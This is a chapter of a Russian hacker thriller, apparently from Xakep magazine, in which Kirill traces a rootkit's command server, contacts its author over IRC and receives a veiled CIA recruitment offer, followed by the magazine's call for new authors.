— По гроб жизни не надо, — ухмыльнулся Ярослав, — а вот пиваса свет‐
лого нефильтрованного вполне можешь принести. Я бы и сам сгонял, но меня
отсюда не выпускают, такая вот грустная история, чувак…

Значит, руткит каким‑то образом подсунул на  ноутбук Трикси парень,
ненавидящий хакеров всеми фибрами души? Любопытно. Сейчас Кирилла
даже не  слишком интересовало, как  именно этот вредонос очутился
на компьютере Аллы, ему хотелось побольше узнать о самом этом человеке,
попытаться установить его мотивы. Беглый гуглеж дал богатый материал
для  размышлений. Специалист по  защите данных, этичный хакер, сотрудни‐
чающий со  спецслужбами… Кирилл даже отыскал его фото и  с минуту
любовался на  улыбающуюся физиономию Лиама с  аккуратно уложенной
на  пробор темно‑русой шевелюрой. Упоминание спецслужб особенно нас‐
тораживало: теперь стало более‑менее понятно, кого именно можно считать
заказчиком всего этого веселого мероприятия.

Что ж, у него имелся как минимум список IP-адресов, куда стучится прог‐
рамма. А что, если засинкхолить один из этих узлов? Любопытная идея…

Вернувшись в  «аквариум», Кирилл открыл окно терминала: его пальцы
забегали по  клавиатуре наперегонки с  пустившимися в  галоп мыслями.
На  экране мелькнула строка с  одним из  IP-адресов, через которые троян
получал инструкции. Кирилл быстро проверил, кому принадлежит адрес.
Ответ его не  удивил: непонятный малайзийский провайдер, у  него не  име‐
лось даже собственного сайта. Обычная история.

«Значит, так,  — размышлял Кирилл.  — Руткит шлет запрос сюда, чтобы
получить настоящий управляющий сервер. Узел на  том конце идентифици‐
рует отправителя пакетов, но никакой хитрой цифровой подписи не исполь‐
зуется, скорее всего, просто проверяются контрольные байты в  заголовке.
Вот этот‑то запрос мы и подменим, а потом посмотрим, что удастся получить
в ответ».

Он запустил виртуальную машину и  набрал несколько строк в  конфиге.
Затем активировал сниффер  — приложение для  перехвата и  анализа тра‐
фика, позволяющее отследить, как руткит общается с удаленными компьюте‐
рами в сети. Напоследок Кирилл загрузил образ зараженной операционной
системы, снятый с  ноутбука Трикси,  — сейчас он послужит лабораторной
установкой, на которой можно безбоязненно ставить эксперименты.

Через минуту экран наполнился цифрами и  символами, показывающими
содержимое передаваемых по  сети пакетов. Адрес сервера, куда троян
отправлял данные, Кирилл определил достаточно быстро. Айпишник оказался
американским, видимо, автор вредоноса чувствовал себя в  полнейшей
безопасности и  ничуть не  скрывался. Кирилл запустил сетевой сканер.
В обычных условиях это был бы стандартный рутинный шаг, но в этот раз каж‐
дый запрос казался ему частью головоломки. Курсор застыл на  секунду,
потом строка за строкой на экран начала вываливаться информация.

Кирилл ощутил то же возбуждение, что и  всегда, когда сталкивался
с чем‑то интересным. Удаленная машина только принимала входящие пакеты
от трояна на шестьсот двадцать втором порте, но ничего не отсылала в ответ.
Зато он обнаружил еще несколько открытых портов, причем все нестандар‐
тные.

— Ловкач, — пробормотал Кирилл. — Но не гений.
Он сгонял за  кофе и, вернувшись, принялся изучать лог сканера. Обна‐

руженные порты не совпадали с известными сервисами. Кирилл быстро прог‐
нал их через базу уязвимостей, но  ничего не  нашел. Что ж, придется пос‐
тучаться на каждый по очереди, благо этот процесс несложно автоматизиро‐
вать. Откликнулся 5228-й: курсор мигнул, и на экране появилась строка «

».

MXP:
HELLO. PLEASE ENTER AUTH CODE

«Все интереснее и  интереснее»,  — подумал Кирилл, вбивая эту строчку
в  поле запроса поисковой системы. Гугль, помявшись, ничего интересного
не выдал, но Кирилла не покидало навязчивое ощущение, будто он где‑то уже
встречал нечто похожее. MXP… Когда и  при каких обстоятельствах он мог
слышать эту аббревиатуру? В голову ничего не приходило, и в ход пошла вто‐
рая чашка кофе. Поиск в  сети ничего не  дает, а  если… Что, если поискать
в локальных файлах?

Кирилл включил свой ноут и открыл окно файлового менеджера, его паль‐
цы пробежали по клавиатуре. Enter. Машина с минуту помигала индикатором
винчестера и  выдала результат. Черт, ну конечно! Самописный сервис
под названием Malware Exchange Platform обсуждался на одной из страничек
форума, архив которого он добыл когда‑то в сети. Деталей Киря уже не пом‐
нил, поэтому, порывшись на  винте, открыл этот документ и  углубился в  чте‐
ние.

Сервис представлял собой один из элементов в экосистеме написанного
завсегдатаями форума трояна, он обеспечивал его обновление и  загрузку
дополнительных модулей по запросу. Внутри был реализован своеобразный
бильд‑сервер, куда автор троя мог положить компоненты вредоноса, которые
потом упаковывались и  отдавались на  зараженную машину. Кроме того,
с  помощью этой программы он мог передавать инструкции зараженным
устройствам: запуск кейлоггера, стилера, скриншотинг, установка новых
модулей… Каждая команда шифровалась уникальным ключом, генерируемым
на  основе времени подключения, чтобы затруднить ее перехват. Для  MXP
даже придумали специальный протокол, умеющий генерировать ложный тра‐
фик, замаскированный под легитимные HTTP-запросы. Писали эту штуковину
сразу несколько авторов, обсуждая технические детали на  форуме и  вык‐
ладывая примеры кода. Лиам, похоже, не стал изобретать велосипед, а поп‐
росту взял готовое решение…

Только вот что это дает? Полных исходников MXP в архиве не обнаружи‐
лось, да  и версия, небось, безбожно устарела. Зато на  странице форума
нашелся адрес на  , принадлежащий одному из  авторов сер‐

виса  — чуваку под  ником Darkoder. Времени, конечно, с  той поры утекло
изрядно, но  вдруг? Кирилл запустил почтовый клиент, набрал там короткое
сообщение и отправил послание в путь.

hushmail.com

Теперь оставалось сделать еще одну вещь. Киря зарегистрировал аккаунт
в набирающем бешеную популярность LiveJournal, заполнил анкетные данные
и  вставил на  страницу найденную в  сети случайную фотографию человека
в черном балахоне с надвинутым на лицо капюшоном — на фото было видно
только подбородок таинственного незнакомца. Картинка грузилась с его сай‐
та, зарегистрированного на  публичном хостинге с  использованием вымыш‐
ленного имени. Теперь любой, кто откроет страничку в своем браузере, оста‐
вит в логах кучу информации о себе, включая айпишник, юзер‑агент, геоло‐
кацию и  другие полезные сведения. Ссылку на  эту страницу Кирилл раз‐
местил в  собственном профиле на  хакерском форуме. Приманка, конечно,
примитивная. Во‑первых, Лиам, возможно, и не зайдет туда больше, во‑вто‐
рых, он может проигнорировать ссылку, в‑третьих, этот парень наверняка
использует какие‑нибудь защитные механизмы  — браузер с  отключенным
JavaScript или  инструменты для  предотвращения трекинга… Но  попытка,
как говорится, не пытка.

Удовлетворившись проделанной работой, Кирилл подхватил опустевшую
кружку и  собрался отправиться за  следующей порцией кофе, как  вдруг
динамики коротко блямкнули  — в  его почтовый ящик упало новое письмо.
Киря развернул окошко программы, и его сердце забилось чаще.

«Привет, Кикс, — писал на английском Darkoder, — я действительно раз‐
рабатывал MXP, и да, я могу показать тебе, как обойти авторизацию. Если ты
нашел меня на  форуме Shadownet, нам есть о  чем поговорить. Для  связи
заходи на канал #darkcoders, мой ник MXP_Master. Напиши “/msg MXP_Master
hi, that’s kiks”, и я тебе отвечу».

Ниже был указан адрес незнакомого IRC-сервера.
Кирилл на  мгновение замер, перечитывая сообщение. Пульс гулко отби‐

вал ритм в  висках, но  он быстро взял себя в  руки. Этот парень знает
про форум, он может показать ему путь в логово Лиама. Кирилл впился взгля‐
дом в экран, словно пытаясь получить ответы сразу на все свои вопросы.

Кофе подождет. Кирилл быстро переключился с почтового клиента на тер‐
минал и  с помощью whois запросил краткий отчет об  этом IRC-сервере,
а затем принялся искать информацию о нем в сети. Все указывало на то, что
эта площадка когда‑то была излюбленным местом встреч известной группы
активистов, сдвинутых на  почве борьбы с  корпорациями и  организациями,
которые, по их мнению, несут угрозу свободе и приватности. Большую часть
активистов Darkcoders разогнали еще лет пять назад, разве что основателя,
Маркуса Рейвса, прижучить так и  не сумели. Но  поураганить эти ребята
в свое время успели изрядно, регулярно попадая в вечерние выпуски новос‐
тей и заголовки газет.

— Это уже кое‑что, — пробормотал Кирилл, одновременно открывая свою
виртуальную машину, где был настроен отдельный IRC-клиент: подключаться
напрямую было бы слишком рискованно.

Пока виртуалка загружалась, Кирилл набросал несколько строчек кода.
С  их помощью он запустил локальный логгер, чтобы фиксировать все, что
произойдет в канале. Никогда не знаешь, что может пригодиться.

Наконец все было готово. Он зашел на сервер, вбил свой ник, присоеди‐
нился к каналу #darkcoders и сразу набрал на клавиатуре: 

.
/msg MXP_Master 

hi, that’s kiks
Прошло несколько секунд, а затем в окне чата появилась новая строка:

[MXP_Master]: Hi there.


Загадочный Darkoder, автор MXP, вышел на связь.
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Darkoder писал по‑английски, но  Кирилл прекрасно понимал его
без помощи переводчика. Он ответил на приветствие. Спустя короткое время
окно чата вновь ожило: «Привет. Ты один или с кем‑то?»

Кирилл задержал пальцы над  клавиатурой. Вопрос был прямолинейный,
но  важный: он хорошо понимал причину беспокойства своего собеседника.
«Один», — ответил он.

Ответ пришел почти мгновенно: «Хорошо. Если хочешь узнать, как обойти
авторизацию в  MXP, мне нужно удостовериться, что ты действительно
понимаешь, о  чем речь. Какие инструменты ты использовал для  обхода
на стадии хендшейка?»

Кирилл прищурился. Это  был своеобразный тест. Возможно, Darkoder
просто проверял его компетенцию, а может быть, пытался выяснить, насколь‐
ко глубоко Кирилл продвинулся в изучении его программы. Он начал печатать
ответ, мысленно прокручивая все, что успел вычитать за последние сутки:

«У MXP свой протокол c собственным механизмом управления клю‐
чами, — набрал на клавиатуре он. — Для каждого нового подключения сер‐
вер генерирует одноразовые токены и  проверяет идентификатор клиента.
Еще  есть механизм ротации ключей, который активируется через заданные
промежутки времени или  по событию. Я протестировал протокол на  нес‐
тандартные параметры фаззером, но  ничего не  обнаружил. Еще  попытался
найти шаблоны в  работе хендшейка, перехватив сниффером пакеты, но  у
меня тоже ничего не вышло».

Мигающий курсор словно задумался на  мгновение. Кирилл пытался
не нервничать, но ощущение, что каждый напечатанный им символ вдумчиво
взвешивается и  оценивается, становилось невыносимым. Спустя несколько
минут экран снова ожил:

«Это не  совсем то, чего я ожидал, но, похоже, ты действительно в  теме.
Ладно. Для начала скажи, где ты отыскал мой почтовый адрес?»

Темнить смысла не было: Darkoder легко мог раскусить обман, а информа‐
ция была нужна Кириллу как воздух.

«Я нашел на  одном из  серверов архив старого форума. Там была ветка,
в которую ты когда‑то писал».

На этот раз пауза тянулась намного дольше.
«Удивительно, что это  оказался русский сервер. Я разместил несколько

таких архивов в  разных локациях  — в  России, Германии, Штатах, Канаде
и ЮАР. Рано или поздно кто‑то, разбирающийся во взломе, должен был доб‐
раться до этих машин и скачать файл. Ты оказался первым. Что ж, мои поз‐
дравления. Shadownet был местом, где собирались люди, которым небез‐
различно будущее. Сегодня от  этой группы единомышленников никого
не осталось. Думаю, тебе тоже не все равно, раз ты сумел найти меня».

В голове крутились десятки вопросов, и  Кирилл не  знал, какой из  них
задать первым. Но окно чата снова ожило, опередив его:

«Shadownet — это место, которое мы создавали годами. Когда‑то на этом
форуме обсуждали идеи, разрабатывали инструменты и  планировали опе‐
рации. Мы верили, что технологии могут быть оружием для борьбы с неспра‐
ведливостью. Эти архивы — наше наследие. Они содержат код, инструкции,
переписку. Все, что мы когда‑либо делали, чтобы противостоять корпораци‐
ям, которые угрожают свободе».

«Что стало с Darkcoders?» — Кирилл не смог удержаться от этого вопроса,
слишком велико было искушение получить ответ из первых рук.

«Несколько лет назад началась охота. Одни просто исчезали, другие
попали за решетку. Я попытался сохранить то, что осталось».

«А если бы на архивы наткнулся кто‑то другой? Не такой, как ты?» — поин‐
тересовался Кирилл.

«Свободу нельзя держать в клетке. Если мы не можем продолжать борьбу,
ее должны подхватить другие. Зачем ты ищешь способы взлома MXP?»

Кирилл откинулся в  кресле, обдумывая ответ. В  принципе, он ничего
не теряет, даже если скажет правду.

«Человек по  имени Лиам пытается взломать меня. Я обнаружил один
из принадлежащих ему C&C».

Ответ появился почти без паузы:
«Лиам был когда‑то одним из  нас. Теперь он на  другой стороне. Из‑за

него многие из Darkcoders лишились свободы».
Окно чата некоторое время не подавало признаков жизни, а затем в нем

появились новые строчки:
«В алгоритме генерации токенов и проверки идентификации есть ошибка.

Я скину тебе файл с патчем, который написал для своих собственных инстал‐
ляций. Посмотришь диффом различия  — найдешь уязвимость в  генераторе
ключей».

«Спасибо, Маркус», — набрал в ответ Кирилл.
«Удачи, Кикс. Ты сам решишь, что делать с тем, что нашел».
Его собеседник покинул чат, а спустя мгновение в почтовый ящик Кирилла

упало новое письмо. Не теряя ни минуты, он открыл вложенный в сообщение
файл и принялся жадно изучать его содержимое.

***

Кирилл нырнул в  код, как  в омут, и  это помогло на  время заглушить зас‐
тарелую горечь и боль от расставания с Трикси, хотя бы ненадолго отвлечься
от навалившихся проблем. Сложные алгоритмы вытесняли из головы обрывки
воспоминаний о ее голосе, запахе, улыбке, которые вспыхивали, будто искры
потухшего костра, в самый неподходящий момент. Он злился на себя за эту
слабость, за  то, что ничего не  мог с  собой поделать. «Ты же хакер,  —
с горечью подумал он. — Найди обходной путь. Или хотя бы удали эти мысли,
как  ненужные файлы». Однако человеческий разум оказался более сложной
системой, чем любая из  тех, с  которыми он сталкивался до  сих пор. Разум
не желал подчиняться холодной логике.

В минувшие дни он несколько раз набирал ее номер, но  Алла не  брала
трубку. Писал СМС и сообщения в мессенджерах, но все они так и остались
без  ответа. Кирилл понимал: все, что было между ним и  Трикси, навсегда
осталось в  прошлом, но  где‑то в  глубине души еще  теплилась надежда, что
все можно вернуть.

Телефонный звонок разорвал тишину, как  лист бумаги. Не  отрывая вос‐
паленные глаза от экрана, Кирилл прижал трубку к уху плечом.

— Кирюша, здравствуй, — загудел динамик знакомым голосом. — Как там
мама? У  вас все в  порядке? Я с  утра ей звоню, никак не  могу дозвониться,
она трубку не берет.

— Здравствуйте, тетя Таня, — отозвался Киря, — вот только что собирался
вам набрать. Ей сегодня операцию сделали, обещали, что в  палату завтра
переведут.

— Уже сделали? И как все прошло?
— Все хорошо, тетя Таня, врачи говорят, без осложнений.
— Ой, как здорово, Кирюша! — с облегчением выдохнула соседка. — А я

так волновалась, прямо извелась вся…
Кирилл не  стал рассказывать маминой подруге о  том, что сообщил ему

по  телефону доктор: соединить фрагменты кишечника не  удалось, и  наружу
пришлось вывести стому. Теперь отходы организма будут собираться в смен‐
ный мешок, который матери предстоит научиться менять самостоятельно.
Если повезет, где‑нибудь через год состоится вторая операция, и  доктора
попытаются собрать вместе то, что сейчас им сделать не удалось…

— Позвоните ей завтра, теть Тань, — успокаивающе сказал Кирилл, — ей
уже должно стать лучше, и  она сможет с  вами поговорить. Сегодня у  мамы
телефон врачи отобрали и никого к ней не пускают.

В компьютере снова блямкнуло — в почтовый ящик упало еще одно пись‐
мо. Вежливо попрощавшись, Кирилл отложил телефон, открыл почтовый кли‐
ент и замер в нерешительности. Сообщение было написано на английском,
а  адрес отправителя числился в  домене . На  всякий случай он про‐

верил служебные заголовки письма: оно оказалось настоящим. Руки чуть
дрогнули, когда Кирилл ткнул курсором на заголовок послания. По мере того
как он вникал в смысл написанного, во рту становилось все суше и суше. Сло‐
ва будто прыгали на экране.
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От кого: Jake C.

Кому: Kicks

Тема: Важное предложение

Здравствуйте, Кирилл.
Да, я знаю, кто вы. И я уверен, что вы знаете, что это письмо —

не шутка. Мои возможности позволили узнать о ваших успехах в мире
информационной безопасности. Вы талантливы, у вас есть потенциал,
но вы играете на очень рискованном поле.

Ваши недавние действия привлекли внимание не  только местных,
но и международных структур. И если вы понимаете, о чем я, то зна-
ете, что это — не та ситуация, в которой вы можете чувствовать себя
защищенным. Надеюсь, вам удобно в  Петербурге. Симпатичный
город, особенно летом. Я слышал, что кофе в  вашей части города
неплохой.

У меня есть предложение, которое может перевернуть вашу жизнь.
Я предлагаю сотрудничество: ваши знания и навыки в обмен на пол-
ную зачистку вашего досье и  гарантии вашей безопасности. Вы
можете продолжать делать то, что у  вас получается лучше всего,
но под нашим покровительством.

Подумайте над этим. У вас есть 48 часов. Если вы хотите погово-
рить, просто ответьте на это письмо.

Не тратьте время на бегство — мы всегда будем на шаг впереди.
Джейк Кадлер
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Кирилл встал из‑за стола и  прошелся по  комнате, стараясь прийти в  себя.
Сердце стучало так громко, что казалось, будто его могли услышать про‐
хожие, гуляющие по набережной канала за окном. Парни из ЦРУ предлагают
ему сотрудничество в обмен на прощение всех грехов? Только потому, что он
вломился на сервера TerraCore? Да что, черт возьми, в этой конторе творится
такое, что в дело вмешались американские спецслужбы?

Хуже всего, что этот, как там его, Кадлер прекрасно осведомлен о нынеш‐
нем месте жительства Кирилла. Видно, зараженный руткитом ноутбук Аллы
сделал свое дело, а  Лиам донес нужную информацию до  своих заказчиков.
Ладно, с Лиамом он разберется позже, а пока нужно решить, что делать даль‐
ше. Лучший способ отвлечься от посторонних мыслей и подумать — посидеть
в  тишине, выпить кофе и  перекусить. Как  иронично заметил американец,
кофе тут делают хороший… Откуда, кстати, ему это известно, он тут бывал, что
ли?

Вместо уже изрядно поднадоевшей столовой Кирилл решил спуститься
в уютную забегаловку, что присмотрел неподалеку: там можно спокойно раз‐
ложить все по  полочкам и  попробовать разобраться в  происходящем.
Помимо кофе, тут подавали пышки  — мягкие, ароматные горячие пончики,
обсыпанные мельчайшей сахарной пудрой. По  случаю попробовав их один
раз, Кирилл уже не мог устоять перед этим искушением.

Он спустился по ступеням в полуподвальное помещение и сразу почувс‐
твовал, как  теплая волна приятных запахов окутала его. Внутри витали аро‐
маты кофе, свежей выпечки и слышался приглушенный шум голосов. Кирилл
выбрал место у  окна напротив входа, заказал у  молоденькой официантки
десяток пышек и двойной эспрессо.

Посетителей здесь было немного, и большую их часть составляли студен‐
ты расположенного неподалеку колледжа. Среди этой молодежи чуть
выделялся лишь один мужчина, сидевший за  соседним столиком спиной
к  Кириллу. Тот выглядел как  типичный офисный клерк: серый свитер, очки,
в  руках дорогой телефон с  сенсорным экраном. Но  что‑то в  его поведении
показалось Кириллу странным.

Мужчина несколько раз бросил быстрый взгляд через плечо, явно наб‐
людая за чем‑то позади себя. Затем он поднял телефон, будто проверяя вре‐
мя, но камера была направлена в сторону Кирилла. Черт, показалось или нет?
На  всякий случай Киря едва заметно отодвинул стул, чтобы оказаться чуть
дальше от этого подозрительного типа.

Когда официантка принесла заказ, Кирилл, делая вид, что изучает экран
своего мобильника, незаметно включил камеру и  убавил звук до  нуля. Муж‐
чина в этот момент что‑то активно печатал на своем коммуникаторе. Сделав
снимок, Кирилл максимально увеличил картинку, но  ничего разглядеть так
и  не смог: слишком далеко, а  камера на  его аппарате была, мягко говоря,
паршивая. Единственное, что он смог определить, так это то, что приложение
напоминало мессенджер.

«Хватит параноить»,  — попытался успокоить себя Кирилл, отпив глоток
эспрессо. Горечь напитка немного отвлекла его, но внутри все равно нарас‐
тала тревога. Через несколько минут мужчина резко встал, не  допив свой
капучино, и  направился к  выходу. Кирилл подождал пару секунд, а  затем,
как бы между делом, поднялся и пошел следом.

Незнакомец неспешно шел по улице, время от времени доставая из кармана
телефон и что‑то проверяя. Кирилл старался держаться на расстоянии, чтобы
не  привлекать внимания. Но  когда незнакомец свернул на  набережную
канала, его терпение закончилось.

— Эй, — громко позвал Кирилл, ускоряя шаг.
Мужчина обернулся, удивленно подняв брови.
— Что‑то случилось? — спросил он.
Кирилл замер, быстро оценивая ситуацию. Взгляд мужчины был совер‐

шенно спокойным, даже безразличным.
— Извините,  — Кирилл выдавил натянутую улыбку.  — Я вас, наверное,

с кем‑то перепутал.
Тот лишь кивнул и  пошел дальше. Вернувшись в  кафе к  своим пышкам,

Кирилл только крепче сжал зубы. Скорее всего, это  просто случайный
человек, который писал кому‑нибудь из  друзей. Обычный посетитель кафе
вряд ли смог  бы его напугать, если  бы у  него за  плечами не  было попытки
взлома серверов американской корпорации и письма из офиса крупнейшей
западной спецслужбы. Он уставился на остатки выпечки в тарелке, но аппетит
уже пропал. Слишком много событий, слишком много рисков. TerraCore,
письмо от Кадлера, постоянное напряжение на работе, исчезновение Трик‐
си, здоровье матери  — все это  завязывалось в  тугой узел внутри. Кирилл
знал: если он продолжит реагировать подобным образом на каждый шорох,
то рано или поздно свихнется. Он поднялся и вышел на улицу, вдыхая вечер‐
ний воздух. Пара машин проехала мимо, и  Кирилл поймал себя на  том, что
оглянулся, пытаясь рассмотреть номера.

— Да хватит уже! — вслух выругался он.
Логика и спокойствие — вот что всегда спасало его в сложных ситуациях.

«Если за  мной действительно следят, то я их все равно не  увижу. А  если
не следят, то и нервничать ни к чему», — резонно подумал Кирилл, чувствуя,
как с каждым шагом напряжение немного отступает.

— Кикс, зайди ко мне на пару слов, пожалуйста.
Едва переступив порог офиса, Кирилл нос к  носу столкнулся с  Фрешем,

который жестом пригласил его следовать за собой. Леонид обитал в отдель‐
ном кабинете в  дальнем конце коридора и  посторонних туда обычно
не  водил, даже из  числа сотрудников. Сейчас Кирилл очутился здесь впер‐
вые. С интересом оглядевшись, он пришел к выводу, что обстановка тут весь‐
ма скромная. Простой письменный стол с  раскрытым «макбуком» посере‐
дине, какая‑то мазня в рамочке на стене — вот, собственно, и весь интерьер.
Фреш махнул рукой в сторону стоящего возле его рабочего места глубокого
кожаного кресла, а сам опустился на обычный офисный стул с противополож‐
ной стороны.

— Хотел обсудить с  тобой кое‑что,  — сказал Леонид, прикоснувшись
к тачпаду компьютера.

— Удивительное совпадение, я тоже, — хмыкнул Кирилл.
— Да? Ну тогда ты и начинай.
— Мне прислали письмо из ЦРУ, Лео, — Кирилл с удовольствием отметил,

как брови Фреша удивленно поползли вверх, — предлагают сотрудничество
в обмен на полную индульгенцию. Дали на раздумье сорок восемь часов.

— Вот как? — Леонид наморщил лоб, о чем‑то всерьез размышляя. — Что
ж, заманчивое предложение. Письмо подлинное?

— Да, я проверил. Отправитель — некто Кадлер.
— Соглашайся,  — кивнул Фреш.  — Только не  сразу, выдержи паузу

и ответь в самый последний момент.
— Ты уверен?
— Уверен. Будешь держать нас в курсе, информировать обо всем, что они

тебе напишут или  скажут. Дело серьезное, но  игра, похоже, начинается
по‑крупному.

— А ты зачем меня сюда позвал?
— Попрощаться,  — хмыкнул Фреш и  теперь уже сам принялся с  инте‐

ресом разглядывать вытянувшуюся физиономию своего собеседника.
— В смысле? — опешил Кирилл.
— В  прямом. Ты думаешь, я тут владелец всего этого балагана и  самый

большой босс? Да ни черта подобного, Киря. Я такой же наемный сотрудник,
как  ты сам или  твой Санёк. Только в  отличие от  него надо мной уголовный
срок не висит. Вот, переводят на другую работу. А распоряжения руководс‐
тва, как ты понимаешь, не обсуждаются.

— И что… Кто вместо тебя?
— Нового начальника зовут Станислав Викторович, скоро познакомитесь.

Нормальный мужик, в  принципе. К  нему подход нужен, но  тут уж придется
мириться с обстоятельствами. Ладно, ты парень умный, я думаю, вы сработа‐
етесь.

Кирилл чувствовал полное смятение и опустошенность: очередная неожи‐
данная новость буквально выбила его из колеи.



СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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